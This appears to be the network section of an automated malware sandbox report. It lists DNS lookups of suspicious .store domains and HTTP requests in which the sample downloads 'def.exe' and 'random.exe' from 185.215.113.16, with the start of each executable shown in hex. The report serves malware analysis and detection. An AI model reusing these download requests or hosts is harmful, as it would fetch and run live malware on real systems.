Nov 1, 2024 03:47:08.283931971 CET	192.168.2.6	1.1.1.1	0xa589	Standard query (0)	www.reddit.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.284545898 CET	192.168.2.6	1.1.1.1	0xedbe	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.291414022 CET	192.168.2.6	1.1.1.1	0x722d	Standard query (0)	reddit.map.fastly.net	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.291831017 CET	192.168.2.6	1.1.1.1	0x2502	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.298890114 CET	192.168.2.6	1.1.1.1	0x9bf3	Standard query (0)	twitter.com	28	IN (0x0001)	false
Nov 1, 2024 03:47:08.299164057 CET	192.168.2.6	1.1.1.1	0x73e2	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Nov 1, 2024 03:47:22.410300970 CET	192.168.2.6	1.1.1.1	0x4ff3	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 1, 2024 03:45:06.117369890 CET	1.1.1.1	192.168.2.6	0x35e0	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:45:06.131692886 CET	1.1.1.1	192.168.2.6	0x2c77	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:45:06.142555952 CET	1.1.1.1	192.168.2.6	0xf42	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:45:06.167814016 CET	1.1.1.1	192.168.2.6	0xb4dd	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:45:06.183057070 CET	1.1.1.1	192.168.2.6	0xe3fa	No error (0)	necklacedmny.store		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:45:06.183057070 CET	1.1.1.1	192.168.2.6	0xe3fa	No error (0)	necklacedmny.store		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:18.308769941 CET	1.1.1.1	192.168.2.6	0x486e	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:18.326566935 CET	1.1.1.1	192.168.2.6	0x7d4b	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:18.336122990 CET	1.1.1.1	192.168.2.6	0x154b	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:18.348359108 CET	1.1.1.1	192.168.2.6	0xc7aa	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:30.110616922 CET	1.1.1.1	192.168.2.6	0xecbb	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:30.125477076 CET	1.1.1.1	192.168.2.6	0x4cf8	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:30.137262106 CET	1.1.1.1	192.168.2.6	0x91a8	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:30.151401043 CET	1.1.1.1	192.168.2.6	0xb91	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:41.131511927 CET	1.1.1.1	192.168.2.6	0xaa1f	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:41.172207117 CET	1.1.1.1	192.168.2.6	0x17e3	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:41.183238029 CET	1.1.1.1	192.168.2.6	0xe38b	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:41.243022919 CET	1.1.1.1	192.168.2.6	0xf43a	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:45.907967091 CET	1.1.1.1	192.168.2.6	0x6753	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:45.959388018 CET	1.1.1.1	192.168.2.6	0xe95a	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:49.363746881 CET	1.1.1.1	192.168.2.6	0x4ff9	No error (0)	youtube.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:49.363758087 CET	1.1.1.1	192.168.2.6	0x9e1b	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 03:46:49.363758087 CET	1.1.1.1	192.168.2.6	0x9e1b	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:49.373336077 CET	1.1.1.1	192.168.2.6	0xc5f2	No error (0)	youtube.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:49.380223989 CET	1.1.1.1	192.168.2.6	0xff97	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:49.382406950 CET	1.1.1.1	192.168.2.6	0x1ba9	No error (0)	youtube.com			28	IN (0x0001)	false
Nov 1, 2024 03:46:49.387675047 CET	1.1.1.1	192.168.2.6	0x933d	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Nov 1, 2024 03:46:50.400564909 CET	1.1.1.1	192.168.2.6	0x7a10	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:50.407794952 CET	1.1.1.1	192.168.2.6	0x6751	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:50.410790920 CET	1.1.1.1	192.168.2.6	0xebdc	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:50.410790920 CET	1.1.1.1	192.168.2.6	0xebdc	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:50.416774988 CET	1.1.1.1	192.168.2.6	0x16aa	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:50.505251884 CET	1.1.1.1	192.168.2.6	0xddb8	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 03:46:50.505251884 CET	1.1.1.1	192.168.2.6	0xddb8	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:50.512450933 CET	1.1.1.1	192.168.2.6	0x54a2	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 03:46:50.512450933 CET	1.1.1.1	192.168.2.6	0x54a2	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:50.527555943 CET	1.1.1.1	192.168.2.6	0x4e4c	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:50.556799889 CET	1.1.1.1	192.168.2.6	0xb929	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 03:46:50.556799889 CET	1.1.1.1	192.168.2.6	0xb929	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:50.574867010 CET	1.1.1.1	192.168.2.6	0x1536	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:51.812438965 CET	1.1.1.1	192.168.2.6	0xc9d6	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 03:46:51.812438965 CET	1.1.1.1	192.168.2.6	0xc9d6	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 03:46:51.812438965 CET	1.1.1.1	192.168.2.6	0xc9d6	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:51.823875904 CET	1.1.1.1	192.168.2.6	0xd2b5	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:46:51.844563961 CET	1.1.1.1	192.168.2.6	0xf56d	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Nov 1, 2024 03:47:05.219116926 CET	1.1.1.1	192.168.2.6	0xc0c9	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 03:47:05.219116926 CET	1.1.1.1	192.168.2.6	0xc0c9	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:07.784857988 CET	1.1.1.1	192.168.2.6	0xdc4d	No error (0)	support.mozilla.org	prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 03:47:07.784857988 CET	1.1.1.1	192.168.2.6	0xdc4d	No error (0)	prod.sumo.prod.webservices.mozgcp.net	us-west1.prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 03:47:07.784857988 CET	1.1.1.1	192.168.2.6	0xdc4d	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:07.792665005 CET	1.1.1.1	192.168.2.6	0xb24c	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.268276930 CET	1.1.1.1	192.168.2.6	0xe48f	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 03:47:08.268276930 CET	1.1.1.1	192.168.2.6	0xe48f	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.268276930 CET	1.1.1.1	192.168.2.6	0xe48f	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.268276930 CET	1.1.1.1	192.168.2.6	0xe48f	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.268276930 CET	1.1.1.1	192.168.2.6	0xe48f	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.268276930 CET	1.1.1.1	192.168.2.6	0xe48f	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.268276930 CET	1.1.1.1	192.168.2.6	0xe48f	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.268276930 CET	1.1.1.1	192.168.2.6	0xe48f	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.268276930 CET	1.1.1.1	192.168.2.6	0xe48f	No error (0)	youtube-ui.l.google.com		142.250.74.206	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.268276930 CET	1.1.1.1	192.168.2.6	0xe48f	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.268276930 CET	1.1.1.1	192.168.2.6	0xe48f	No error (0)	youtube-ui.l.google.com		172.217.23.110	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.268276930 CET	1.1.1.1	192.168.2.6	0xe48f	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.268276930 CET	1.1.1.1	192.168.2.6	0xe48f	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.268276930 CET	1.1.1.1	192.168.2.6	0xe48f	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.268276930 CET	1.1.1.1	192.168.2.6	0xe48f	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.268276930 CET	1.1.1.1	192.168.2.6	0xe48f	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.268276930 CET	1.1.1.1	192.168.2.6	0xe48f	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.268558025 CET	1.1.1.1	192.168.2.6	0xbb8b	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 03:47:08.268558025 CET	1.1.1.1	192.168.2.6	0xbb8b	No error (0)	star-mini.c10r.facebook.com		157.240.0.35	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.269705057 CET	1.1.1.1	192.168.2.6	0x1916	No error (0)	www.wikipedia.org	dyna.wikimedia.org		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 03:47:08.269705057 CET	1.1.1.1	192.168.2.6	0x1916	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.276134014 CET	1.1.1.1	192.168.2.6	0xd984	No error (0)	star-mini.c10r.facebook.com		157.240.253.35	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.276145935 CET	1.1.1.1	192.168.2.6	0x9503	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.276145935 CET	1.1.1.1	192.168.2.6	0x9503	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.276145935 CET	1.1.1.1	192.168.2.6	0x9503	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.276145935 CET	1.1.1.1	192.168.2.6	0x9503	No error (0)	youtube-ui.l.google.com		216.58.212.174	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.276145935 CET	1.1.1.1	192.168.2.6	0x9503	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.276145935 CET	1.1.1.1	192.168.2.6	0x9503	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.276145935 CET	1.1.1.1	192.168.2.6	0x9503	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.276145935 CET	1.1.1.1	192.168.2.6	0x9503	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.276145935 CET	1.1.1.1	192.168.2.6	0x9503	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.276145935 CET	1.1.1.1	192.168.2.6	0x9503	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.276145935 CET	1.1.1.1	192.168.2.6	0x9503	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.276145935 CET	1.1.1.1	192.168.2.6	0x9503	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.276145935 CET	1.1.1.1	192.168.2.6	0x9503	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.276145935 CET	1.1.1.1	192.168.2.6	0x9503	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.276145935 CET	1.1.1.1	192.168.2.6	0x9503	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.276145935 CET	1.1.1.1	192.168.2.6	0x9503	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.277915001 CET	1.1.1.1	192.168.2.6	0x7bd2	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.283308983 CET	1.1.1.1	192.168.2.6	0x32ef	No error (0)	star-mini.c10r.facebook.com			28	IN (0x0001)	false
Nov 1, 2024 03:47:08.284024954 CET	1.1.1.1	192.168.2.6	0xdce7	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 1, 2024 03:47:08.284024954 CET	1.1.1.1	192.168.2.6	0xdce7	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 1, 2024 03:47:08.284024954 CET	1.1.1.1	192.168.2.6	0xdce7	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 1, 2024 03:47:08.284024954 CET	1.1.1.1	192.168.2.6	0xdce7	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 1, 2024 03:47:08.285679102 CET	1.1.1.1	192.168.2.6	0xb30a	No error (0)	dyna.wikimedia.org			28	IN (0x0001)	false
Nov 1, 2024 03:47:08.290787935 CET	1.1.1.1	192.168.2.6	0xa589	No error (0)	www.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 03:47:08.290787935 CET	1.1.1.1	192.168.2.6	0xa589	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.290787935 CET	1.1.1.1	192.168.2.6	0xa589	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.290787935 CET	1.1.1.1	192.168.2.6	0xa589	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.290787935 CET	1.1.1.1	192.168.2.6	0xa589	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.291054964 CET	1.1.1.1	192.168.2.6	0xedbe	No error (0)	twitter.com		104.244.42.1	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.298413992 CET	1.1.1.1	192.168.2.6	0x2502	No error (0)	twitter.com		104.244.42.65	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.298424006 CET	1.1.1.1	192.168.2.6	0x722d	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.298424006 CET	1.1.1.1	192.168.2.6	0x722d	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.298424006 CET	1.1.1.1	192.168.2.6	0x722d	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:08.298424006 CET	1.1.1.1	192.168.2.6	0x722d	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:47:22.416809082 CET	1.1.1.1	192.168.2.6	0x4ff3	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 03:47:22.416809082 CET	1.1.1.1	192.168.2.6	0x4ff3	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49750	185.215.113.16	80	2976	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 03:45:19.787765026 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 1, 2024 03:45:20.705243111 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 02:45:20 GMT Content-Type: application/octet-stream Content-Length: 2812928 Last-Modified: Fri, 01 Nov 2024 01:30:20 GMT Connection: keep-alive ETag: "67242f2c-2aec00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 02 7a 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$`+ `@ +z+`Ui` @ @.rsrc`2@.idata 8@zkwuykka*:@bkhlhcye @+@.taggant@`+"*@
Nov 1, 2024 03:45:20.705257893 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 03:45:20.705276966 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 03:45:20.705290079 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 03:45:20.705301046 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 03:45:20.705315113 CET	336	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 03:45:20.705327034 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 03:45:20.705338955 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 03:45:20.705343008 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 03:45:20.705399036 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 03:45:20.710364103 CET	1236	IN	Data Raw: 20 98 b1 a8 30 ab 1a a2 e7 84 eb 96 f5 17 f6 8d 2e 74 d5 13 ec 92 6b 8b de 85 0e 63 23 74 d2 f3 8b a1 44 13 ec 92 6b fd dc 89 0e 13 1f 74 f8 91 fc 45 8f 9b cd c9 ef 2a bf 9a 70 b1 dd 8d 59 14 7c 74 88 9b c9 63 f2 e3 83 86 a5 e0 e6 2f ec 92 3e 9e Data Ascii: 0.tkc#tDktE*pY\|tc/>lkhMq-4=<1D- iL$3!a9.zt=5Lu{n$Sxmoa2i^b.sQcs!_"]=8W~
Nov 1, 2024 03:45:25.853382111 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 1, 2024 03:45:26.137156963 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 02:45:25 GMT Content-Type: application/octet-stream Content-Length: 1913856 Last-Modified: Fri, 01 Nov 2024 02:41:17 GMT Connection: keep-alive ETag: "67243fcd-1d3400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 